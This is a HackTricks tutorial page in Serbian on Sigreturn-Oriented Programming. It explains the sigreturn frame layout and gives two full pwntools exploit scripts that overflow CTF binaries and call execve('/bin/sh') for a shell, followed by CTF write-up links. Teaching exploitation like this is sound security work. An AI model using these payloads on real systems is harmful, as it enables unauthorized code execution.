SROP - Sigreturn-Oriented Programming
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
Sigreturn
je posebna syscall koja se prvenstveno koristi za čišćenje nakon što signalni handler završi svoju izvršavanje. Signali su prekidi koje operativni sistem šalje programu, često da bi ukazali na to da se dogodila neka izuzetna situacija. Kada program primi signal, privremeno pauzira svoj trenutni rad da bi obradio signal pomoću signal handler-a, posebne funkcije dizajnirane za rukovanje signalima.
Nakon što signalni handler završi, program treba da nastavi svoje prethodno stanje kao da se ništa nije dogodilo. Tu dolazi do izražaja sigreturn
. Pomaže programu da vrati iz signal handler-a i obnavlja stanje programa čišćenjem steka (odeljak memorije koji čuva pozive funkcija i lokalne promenljive) koji je koristio signalni handler.
Zanimljiv deo je kako sigreturn
obnavlja stanje programa: to čini tako što čuva sve vrednosti CPU registara na steku. Kada signal više nije blokiran, sigreturn
uklanja ove vrednosti sa steka, efikasno resetujući registre CPU-a na njihov stanje pre nego što je signal obrađen. Ovo uključuje registar pokazivača steka (RSP), koji pokazuje na trenutni vrh steka.
caution
Pozivanje syscall-a sigreturn
iz ROP lanca i dodavanje registarskih vrednosti koje želimo da učitamo u stek omogućava nam da kontrolišemo sve registarske vrednosti i stoga pozovemo na primer syscall execve
sa /bin/sh
.
Obratite pažnju na to kako bi ovo bila vrsta Ret2syscall koja olakšava kontrolu parametara za pozivanje drugih Ret2syscall-a:
Ako vas zanima, ovo je sigcontext struktura koja se čuva na steku da bi se kasnije povratile vrednosti (dijagram iz ovde):
+--------------------+--------------------+
| rt_sigeturn() | uc_flags |
+--------------------+--------------------+
| &uc | uc_stack.ss_sp |
+--------------------+--------------------+
| uc_stack.ss_flags | uc.stack.ss_size |
+--------------------+--------------------+
| r8 | r9 |
+--------------------+--------------------+
| r10 | r11 |
+--------------------+--------------------+
| r12 | r13 |
+--------------------+--------------------+
| r14 | r15 |
+--------------------+--------------------+
| rdi | rsi |
+--------------------+--------------------+
| rbp | rbx |
+--------------------+--------------------+
| rdx | rax |
+--------------------+--------------------+
| rcx | rsp |
+--------------------+--------------------+
| rip | eflags |
+--------------------+--------------------+
| cs / gs / fs | err |
+--------------------+--------------------+
| trapno | oldmask (unused) |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate |
+--------------------+--------------------+
| __reserved | sigmask |
+--------------------+--------------------+
Za bolje objašnjenje pogledajte takođe:
Primer
Možete pronaći primer ovde gde se poziv na signeturn konstruira putem ROP (stavljajući u rxa vrednost 0xf
), iako je ovo konačni exploit odatle:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
Proverite takođe eksploit odavde gde je binarni program već pozivao sigreturn
i stoga nije potrebno to graditi sa ROP:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
Ostali Primeri i Reference
- https://youtu.be/ADULSwnQs-s?feature=shared
- https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
- https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
- Assembly binarni program koji omogućava pisanje na stek i zatim poziva
sigreturn
syscall. Moguće je napisati na stek ret2syscall putem sigreturn strukture i pročitati flag koji se nalazi unutar memorije binarnog programa. - https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
- Assembly binarni program koji omogućava pisanje na stek i zatim poziva
sigreturn
syscall. Moguće je napisati na stek ret2syscall putem sigreturn strukture (binarni program sadrži string/bin/sh
). - https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
- 64 bita, bez relro, bez kanarija, nx, bez pie. Jednostavna buffer overflow koja zloupotrebljava
gets
funkciju sa nedostatkom gadgeta koji izvršava ret2syscall. ROP lanac piše/bin/sh
u.bss
ponovnim pozivanjem gets, zloupotrebljavaalarm
funkciju da postavi eax na0xf
kako bi pozvao SROP i izvršio shell. - https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
- 64 bita assembly program, bez relro, bez kanarija, nx, bez pie. Tok omogućava pisanje na stek, kontrolu nekoliko registara, i pozivanje syscall-a, a zatim poziva
exit
. Izabrani syscall jesigreturn
koji će postaviti registre i premestitieip
da pozove prethodnu syscall instrukciju i izvršimemprotect
da postavi binarni prostor narwx
i postavi ESP u binarnom prostoru. Prateći tok, program će ponovo pozvati read u ESP, ali u ovom slučaju ESP će pokazivati na sledeću instrukciju, tako da će prosleđivanje shellcode-a napisati kao sledeću instrukciju i izvršiti je. - https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
- SROP se koristi za davanje privilegija izvršavanja (memprotect) mestu gde je shellcode postavljen.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.